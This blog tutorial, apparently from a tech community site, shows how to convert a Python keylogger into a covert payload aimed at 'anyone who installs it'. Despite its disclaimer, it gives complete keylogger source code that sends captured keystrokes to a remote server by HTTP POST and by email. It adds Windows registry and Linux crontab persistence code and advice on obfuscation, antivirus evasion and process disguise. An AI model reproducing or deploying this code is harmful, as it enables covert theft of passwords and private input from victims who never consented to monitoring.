This article is strictly for educational purposes and not to be used maliciously; the writer can not be held liable for any infraction. Use with discretion.
Keylogger payloads refer to malicious software that monitors keystrokes on a system without authorization.
While the principles behind their creation may seem straightforward technologically, exploring them purely for defensive purposes and ethical education is imperative.
This article abstractly analyzes keylogger payload development, focusing on common techniques that threat actors leverage. The discussion aims to spread awareness without endorsing any illegal behavior.
Prerequisite
This guide is for mid-level engineers or hackers trying to test their skills. Only try this if you are confident and know what you are doing.
Defining Objectives and Capabilities
Threat actors create keylogger payloads to achieve specific surveillance and exfiltration goals, like capturing sensitive information from a target system. Payloads are designed to transmit stolen data to remote attacker-controlled servers covertly.
Evading Detection Through Obfuscation and Encryption
Payloads utilize obfuscation to hide malicious logic and make analysis difficult. Encrypted communication channels may also be used to mask data exfiltration. These are intended to evade detection.
Establishing Persistence Through Autostart Entries
Payloads leverage modifications to operating system configurations to execute on system boot automatically. This persistence aims to survive detection efforts and periodic reboots.
Avoiding Flagging Through Signature Management
Threat actors continuously modify payload signatures to sidestep signature-based detection methods like antivirus software. The frequency of change is based on expected detection windows.
Testing and Verification in Controlled Environments
Real-world payloads would undergo rigorous testing by threat actors before potential deployment. Safe development environments like virtual machines and network traffic monitoring tools enable iteration and verification.
In our last article, we created a keylogger, and in this article, we will be converting it to a payloader that can be sent over the internet to capture data from anyone who installs it.
Let's get started.
First, let's get our payloader cloned from here and get started.
Step 2: Modify the Keylogger
Open the keylogger script and add functionality to send keylogs to a remote server. We'll use the **requests**
library for simplicity. Install it by running:
pip install requests
Modify the **Keylogger**
class as follows:
# ... (Previous code)
import requests
class Keylogger:
# ... (Previous methods)
def send_logs_to_server(self):
server_url = "http://your-remote-server.com/receive_logs"
payload = {"logs": self.log}
requests.post(server_url, data=payload)
# ... (Rest of the class)
# ... (Remaining code)
Step 3: Concealment Techniques
Implement techniques to make the payload less detectable:
- Code Obfuscation: Use tools like pyobfuscate or pyarmor to obfuscate the code and make it harder to analyze.
- Encrypt Communication: Encrypt the payload and server communication to protect against interception. ## Step 4: Autostart Mechanism
Ensure the payload runs automatically upon system boot:
On Windows:
Modify the registry to add an entry to the **HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run**
key.
# Add the following code at the end of your script
import os
keylogger_path = r"C:\path\to\your\keylogger_script.py"
keylogger_name = "KeyloggerPayload"
key = r"Software\Microsoft\Windows\CurrentVersion\Run"
key_path = os.path.join("HKCU:", key)
command = f"pythonw.exe {keylogger_path}"
os.popen(f'reg add {key_path} /v {keylogger_name} /t REG_SZ /d "{command}"')
On Linux:
Edit the user's crontab to execute the payload at boot:
@reboot python3 /path/to/your/keylogger_script.py
Step 5: Persistence
Enhance the payload to maintain persistence:
- Hide Processes: Make the payload harder to detect by giving it a benign name.
- Fileless Execution: Explore techniques for fileless execution to avoid leaving traces on disk. ## Step 6: Evasion Techniques
Incorporate techniques to evade common security measures:
- Antivirus Evasion: Modify the payload to evade detection by antivirus software.
- Signature Avoidance: Change payload signatures regularly to avoid signature-based detection. ## Step 7: Payload Testing
Thoroughly test your payload in a controlled environment:
- Test on Virtual Machines: Use virtual machines to avoid unintended consequences on your host machine.
- Monitor Network Traffic: Analyze network traffic to ensure data exfiltration works as intended.
Find the complete code with the new addition here.
import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import requests # Added for sending logs to a server
Installation of required module
$ pip install keyboard requests
Parameters
SEND_REPORT_EVERY = 60 # in seconds, reporting interval
EMAIL_ADDRESS = "email@provider.tld"
EMAIL_PASSWORD = "password_here"
SERVER_URL = "http://your-remote-server.com/receive_logs" # Replace with your server URL
class Keylogger:
def init(self, interval, report_method="email"):
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def prepare_mail(self, message):
msg = MIMEMultipart("alternative")
msg["From"] = EMAIL_ADDRESS
msg["To"] = EMAIL_ADDRESS
msg["Subject"] = "Keylogger logs"
html = f"<p>{message}</p>"
text_part = MIMEText(message, "plain")
html_part = MIMEText(html, "html")
msg.attach(text_part)
msg.attach(html_part)
return msg.as_string()
def sendmail(self, email, password, message, verbose=1):
server = smtplib.SMTP(host="smtp.office365.com", port=587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, self.prepare_mail(message))
server.quit()
if verbose:
print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
def send_logs_to_server(self):
payload = {"logs": self.log}
requests.post(SERVER_URL, data=payload)
def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
elif self.report_method == "server":
self.send_logs_to_server()
print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
print(f"{datetime.now()} - Started keylogger")
keyboard.wait()
if name == "main":
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="server")
keylogger.start()
Conclusion
Converting a keylogger into a payload involves multiple steps, from defining objectives to testing the final payload. Always prioritize ethical considerations, legal compliance, and responsible use of knowledge.
Unauthorized deployment of keyloggers or payloads can lead to severe consequences. This guide is purely educational, and any use of the knowledge gained should adhere to legal and ethical standards.
In our next article, I will deploy this using a server to a host machine to track the user's keystroke.
If you like my work and want to help me continue dropping content like this, buy me a cup of coffee.
If you find this post exciting, find more exciting posts on Learnhub Blog; we write everything tech from Cloud computing to Frontend Dev, Cybersecurity, AI, and Blockchain.
Top comments (0)